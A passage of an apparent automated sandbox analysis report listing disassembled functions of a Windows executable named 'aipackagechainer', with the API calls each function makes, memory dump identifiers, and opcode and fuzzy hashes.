                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 69411BB190121AABDB20DFA4DD49FEFBBB8EF08750F104129E915A7290D7749A14CBA0
                                                                                                                                                                                                                                                  Function 00258C60 Relevance: 6.1, APIs: 4, Instructions: 98windowCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • SendMessageW.USER32(?), ref: 00258C9E
                                                                                                                                                                                                                                                    • Part of subcall function 00213540: GetProcessHeap.KERNEL32 ref: 00213595
                                                                                                                                                                                                                                                  • SetWindowTextW.USER32(?,00000010), ref: 00258CD1
                                                                                                                                                                                                                                                  • IsWindow.USER32(?), ref: 00258D46
                                                                                                                                                                                                                                                  • EndDialog.USER32(?,00000001), ref: 00258D6A
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Window$DialogHeapMessageProcessSendText
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3967821603-0
                                                                                                                                                                                                                                                  • Opcode ID: 7481ac5c024c4da7f1ce020c56df6ec126bfcf6c61a2e18c930d36f5ffa74192
                                                                                                                                                                                                                                                  • Instruction ID: ebb68a215672ba6e4b8fa21835c2a2ac40114f8249902157377f3b9cd8e76aec
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 7481ac5c024c4da7f1ce020c56df6ec126bfcf6c61a2e18c930d36f5ffa74192
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0D316B71611A06AFDB14CF28DC08F96BBF4FF09721F104269F925D76A0DB71A950CB90
                                                                                                                                                                                                                                                  Function 00248720 Relevance: 6.1, APIs: 4, Instructions: 96threadCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • EnterCriticalSection.KERNEL32(002DACD0,4938EAB5), ref: 0024875D
                                                                                                                                                                                                                                                  • GetCurrentThreadId.KERNEL32 ref: 00248771
                                                                                                                                                                                                                                                  • LeaveCriticalSection.KERNEL32(002DACD0), ref: 002487AF
                                                                                                                                                                                                                                                  • SetWindowLongW.USER32(?,00000004,00000000), ref: 0024880B
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: CriticalSection$CurrentEnterLeaveLongThreadWindow
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3550545212-0
                                                                                                                                                                                                                                                  • Opcode ID: 2e2a090133fdb212cdd261176849a0ec153a83ba644d03009250336d9a53691e
                                                                                                                                                                                                                                                  • Instruction ID: 11fa4b9f69b0bfd425704fc1f6a51b620b4093ec19867f8f0fc6143170d68e71
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 2e2a090133fdb212cdd261176849a0ec153a83ba644d03009250336d9a53691e
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 7B31B436A242159FDB20CF69DC08B5BFBB4FF45760F14855AE91593350DB709C20CBA1
                                                                                                                                                                                                                                                  Function 0026AD60 Relevance: 6.1, APIs: 4, Instructions: 85fileCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                    • Part of subcall function 00263700: SetFilePointer.KERNEL32(?,00000000,?,00000001,4938EAB5,?,?,?,Function_0008BEE0,000000FF), ref: 00263735
                                                                                                                                                                                                                                                    • Part of subcall function 00263700: GetLastError.KERNEL32(?,00000000,?,00000001,4938EAB5,?,?,?,Function_0008BEE0,000000FF), ref: 00263742
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0026AE07
                                                                                                                                                                                                                                                    • Part of subcall function 002637A0: SetFilePointer.KERNEL32(?,?,?,?,4938EAB5,?,?,?,?,?,Function_0008BEC0,000000FF), ref: 002637DA
                                                                                                                                                                                                                                                    • Part of subcall function 002637A0: GetLastError.KERNEL32(?,?,?,?,4938EAB5,?,?,?,?,?,Function_0008BEC0,000000FF), ref: 002637E7
                                                                                                                                                                                                                                                    • Part of subcall function 002637A0: SetLastError.KERNEL32(00000000,?,?,?,?,4938EAB5,?,?,?,?,?,Function_0008BEC0,000000FF), ref: 002637FE
                                                                                                                                                                                                                                                  • SetEndOfFile.KERNEL32(?), ref: 0026ADB6
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0026ADC9
                                                                                                                                                                                                                                                  • SetLastError.KERNEL32(00000000), ref: 0026ADEE
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ErrorLast$File$Pointer
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 4162258135-0
                                                                                                                                                                                                                                                  • Opcode ID: 203458fd38461cbca94d433347237c3152e1cf46a1e392b80361c55aa66686bd
                                                                                                                                                                                                                                                  • Instruction ID: 4f7bb5dfdd7bcf2316bf7bfa57844ebf68d7ddfb056ca4ac8256188336157e6e
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 203458fd38461cbca94d433347237c3152e1cf46a1e392b80361c55aa66686bd
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 38210772310206DB8B20DF25EC44AABB79CEF81365F54412AFD44E7150EA32CCB58EE2
                                                                                                                                                                                                                                                  Function 00279200 Relevance: 6.1, APIs: 4, Instructions: 69synchronizationCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • WaitForSingleObject.KERNEL32(?,000000FF), ref: 0027922E
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 00279239
                                                                                                                                                                                                                                                  • ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 002792A1
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 002792AB
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ErrorLast$ObjectReleaseSemaphoreSingleWait
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 1636903514-0
                                                                                                                                                                                                                                                  • Opcode ID: 4c9f1871c46e8695228e900d79f73fdda8861a3a0399b0f869f2485635c90dc5
                                                                                                                                                                                                                                                  • Instruction ID: 1d0512eb402164760f9c23ccdc3ac9862119b2e38be43bc0cf7358f25b31f4cf
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 4c9f1871c46e8695228e900d79f73fdda8861a3a0399b0f869f2485635c90dc5
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 25213832210302ABDB30AF69D884716B7E5AF91320F15CA19E9A9965A3E771DCA0DB50
                                                                                                                                                                                                                                                  Function 002239C0 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 62memoryCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetProcessHeap.KERNEL32(00000000,-0000001C,00000000,?,?,00223B8B,?,00000000), ref: 002239E3
                                                                                                                                                                                                                                                  • HeapAlloc.KERNEL32(00000000,00000000,-0000001C,00000000,?,?,00223B8B,?,00000000), ref: 002239E9
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Heap$AllocProcess
                                                                                                                                                                                                                                                  • String ID: hD@-$length
                                                                                                                                                                                                                                                  • API String ID: 1617791916-560805717
                                                                                                                                                                                                                                                  • Opcode ID: f66f69a8e30e46d1746f1fd09cd62869dfea72e505f6c3222682c312414ab06b
                                                                                                                                                                                                                                                  • Instruction ID: 315a37a697c72abce70f641e1bad348a97417d10a0b317b1cd179f0624e3e085
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: f66f69a8e30e46d1746f1fd09cd62869dfea72e505f6c3222682c312414ab06b
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0001D8719203126BD30CEF68D842B86BBA9AF84700F40C569F048DB292EB75DA94CBD1
                                                                                                                                                                                                                                                  Function 0025D9D0 Relevance: 6.1, APIs: 4, Instructions: 62synchronizationCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • ResetEvent.KERNEL32(?,?,?,0025CD82,?,?,?,?,?,00000003,00000000,4938EAB5,?,?), ref: 0025D9E2
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32(?,?,0025CD82,?,?,?,?,?,00000003,00000000,4938EAB5,?,?), ref: 0025DA0F
                                                                                                                                                                                                                                                  • WaitForSingleObject.KERNEL32(?,0000000A,?,?,0025CD82,?,?,?,?,?,00000003,00000000,4938EAB5,?,?), ref: 0025DA45
                                                                                                                                                                                                                                                  • SetEvent.KERNEL32(?,?,?,0025CD82,?,?,?,?,?,00000003,00000000,4938EAB5,?,?), ref: 0025DA68
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Event$ErrorLastObjectResetSingleWait
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 708712559-0
                                                                                                                                                                                                                                                  • Opcode ID: e2c6edcd3c6a773e020b96618803bdf3cd5f4b1e1c96ab9ff100f398aa44f1cc
                                                                                                                                                                                                                                                  • Instruction ID: 02952a9eeedd3ce8958971ec7190e0dda2b34d19387d312530f559d767d2cd6d
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: e2c6edcd3c6a773e020b96618803bdf3cd5f4b1e1c96ab9ff100f398aa44f1cc
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: AF11A331618741CFEB309F25E848B577BD1AF91322F05581EE88387661C770ECA9CB54
                                                                                                                                                                                                                                                  Function 00257BC0 Relevance: 6.1, APIs: 4, Instructions: 51threadsynchronizationCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • WaitForSingleObject.KERNEL32(?,?,4938EAB5,?,?,?,Function_0008BEE0,000000FF), ref: 00257BF7
                                                                                                                                                                                                                                                  • GetExitCodeThread.KERNEL32(?,?,?,?,?,Function_0008BEE0,000000FF), ref: 00257C11
                                                                                                                                                                                                                                                  • TerminateThread.KERNEL32(?,00000000,?,?,?,Function_0008BEE0,000000FF), ref: 00257C29
                                                                                                                                                                                                                                                  • CloseHandle.KERNEL32(?,?,?,?,Function_0008BEE0,000000FF), ref: 00257C32
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Thread$CloseCodeExitHandleObjectSingleTerminateWait
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3774109050-0
                                                                                                                                                                                                                                                  • Opcode ID: 60690cf6c21addfdf70ede91834afdbb5275da08a363554e5126a274e0b7e815
                                                                                                                                                                                                                                                  • Instruction ID: e5702c4827c5cad50bbc2927781e6e7ad1fbdb1199a91c1ed2d8dcaaf8774562
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 60690cf6c21addfdf70ede91834afdbb5275da08a363554e5126a274e0b7e815
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5111E971554709DFDB208F14ED09F56B7E8FB09B12F008A2EFC6592690DBB5E824CB54
                                                                                                                                                                                                                                                  Function 00257E10 Relevance: 6.0, APIs: 4, Instructions: 50windowCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • IsWindow.USER32(?), ref: 00257E2D
                                                                                                                                                                                                                                                  • DestroyWindow.USER32(?), ref: 00257E3A
                                                                                                                                                                                                                                                  • IsWindow.USER32(?), ref: 00257E94
                                                                                                                                                                                                                                                  • SendMessageW.USER32(?,00000407,00000000,?), ref: 00257EAD
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Window$DestroyMessageSend
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 746073012-0
                                                                                                                                                                                                                                                  • Opcode ID: 87092077410b3947afba88550ce8a58d865a25202c7b692532ff1c015c88d8b7
                                                                                                                                                                                                                                                  • Instruction ID: 35b55354ffce83ee1e5560ea376a231fbb4940801e15fbfd87bcf8f1ba91031b
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 87092077410b3947afba88550ce8a58d865a25202c7b692532ff1c015c88d8b7
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: FB116630509301AFD760DF18EA49B5BBBE0FF88B01F4049ADF88982260E770ED58CB56
                                                                                                                                                                                                                                                  Function 0027A797 Relevance: 6.0, APIs: 4, Instructions: 44COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • __EH_prolog3.LIBCMT ref: 0027A79E
                                                                                                                                                                                                                                                  • std::_Lockit::_Lockit.LIBCPMT ref: 0027A7A9
                                                                                                                                                                                                                                                  • std::_Lockit::~_Lockit.LIBCPMT ref: 0027A817
                                                                                                                                                                                                                                                    • Part of subcall function 0027A8F9: std::locale::_Locimp::_Locimp.LIBCPMT ref: 0027A911
                                                                                                                                                                                                                                                  • std::locale::_Setgloballocale.LIBCPMT ref: 0027A7C4
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_Setgloballocale
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 677527491-0
                                                                                                                                                                                                                                                  • Opcode ID: 58ba08d4eca0202cf12286ceb2405b59aec808295107a91f2318252b03559d59
                                                                                                                                                                                                                                                  • Instruction ID: 60066b0e9cf0f30cfd7c09fb32d5575c836e27820254c554738e019b0c041c58
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 58ba08d4eca0202cf12286ceb2405b59aec808295107a91f2318252b03559d59
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: C701D475A211119BCB05EF20E84957D77B5FFC5320B158009E80957381DF346E62DF93
                                                                                                                                                                                                                                                  Function 00279310 Relevance: 6.0, APIs: 4, Instructions: 44synchronizationCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • SetEvent.KERNEL32(?), ref: 00279342
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0027934C
                                                                                                                                                                                                                                                  • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00279357
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 00279362
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ErrorLast$EventObjectSingleWait
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3600396749-0
                                                                                                                                                                                                                                                  • Opcode ID: 03764bae7ba44858824e9fa19c86958eda62129218da70e5fa6bd56f973462fd
                                                                                                                                                                                                                                                  • Instruction ID: 427c18f201215e96918290b6072d2fb28d0a22ddbcafa9f4f6cc25856fc6625a
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 03764bae7ba44858824e9fa19c86958eda62129218da70e5fa6bd56f973462fd
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 35017932114303CFD7208F69E4C8B4BBBE4AF95320F15C95DE09A93190C77598919B61
                                                                                                                                                                                                                                                  Function 00257C70 Relevance: 6.0, APIs: 4, Instructions: 44threadsynchronizationCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • WaitForSingleObject.KERNEL32(?,?,4938EAB5,?,?,?,Function_0008BEE0,000000FF), ref: 00257CA7
                                                                                                                                                                                                                                                  • GetExitCodeThread.KERNEL32(?,?,?,?,?,Function_0008BEE0,000000FF), ref: 00257CC1
                                                                                                                                                                                                                                                  • TerminateThread.KERNEL32(?,00000000,?,?,?,Function_0008BEE0,000000FF), ref: 00257CD9
                                                                                                                                                                                                                                                  • CloseHandle.KERNEL32(?,?,?,?,Function_0008BEE0,000000FF), ref: 00257CE2
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Thread$CloseCodeExitHandleObjectSingleTerminateWait
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3774109050-0
                                                                                                                                                                                                                                                  • Opcode ID: a7c9ae3f9fd65ab5c0c25d5c40f2485b722403e4d8e05b053d1ebec3b4ec642b
                                                                                                                                                                                                                                                  • Instruction ID: 57b13bfd380d404912eccd1bb9757abcdfa9e4c7deef75727964e77a9eef4807
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: a7c9ae3f9fd65ab5c0c25d5c40f2485b722403e4d8e05b053d1ebec3b4ec642b
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: A001B571544705DFCB208F54ED09B66B7FCFB09712F004A2EEC66926A0DB71AC10CB54
                                                                                                                                                                                                                                                  Function 00257D00 Relevance: 6.0, APIs: 4, Instructions: 35threadsynchronizationCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • CreateThread.KERNEL32(00000000,00000000,Function_00047DF0,?,00000000,?), ref: 00257D22
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32(?,00000000,?), ref: 00257D2F
                                                                                                                                                                                                                                                  • WaitForSingleObject.KERNEL32(00000000,000000FF,?,00000000,?), ref: 00257D43
                                                                                                                                                                                                                                                  • GetExitCodeThread.KERNEL32(?,?,?,00000000,?), ref: 00257D51
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Thread$CodeCreateErrorExitLastObjectSingleWait
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 2732711357-0
                                                                                                                                                                                                                                                  • Opcode ID: da3b17c9ed033864e367954d1506f2b776c7e568ed878cbf090f7f8ced468751
                                                                                                                                                                                                                                                  • Instruction ID: acb205994ffc0197a1f4aaf77c191a217818d3969fc1d3203a43058ce3100234
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: da3b17c9ed033864e367954d1506f2b776c7e568ed878cbf090f7f8ced468751
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 32F03C71148302ABD720DF28EC48F9BBBE8EF45711F058D1AB855D2190DB70E8058B61
                                                                                                                                                                                                                                                  Function 00279100 Relevance: 6.0, APIs: 4, Instructions: 32synchronizationCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00279125
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0027912C
                                                                                                                                                                                                                                                  • SetEvent.KERNEL32(?), ref: 0027913D
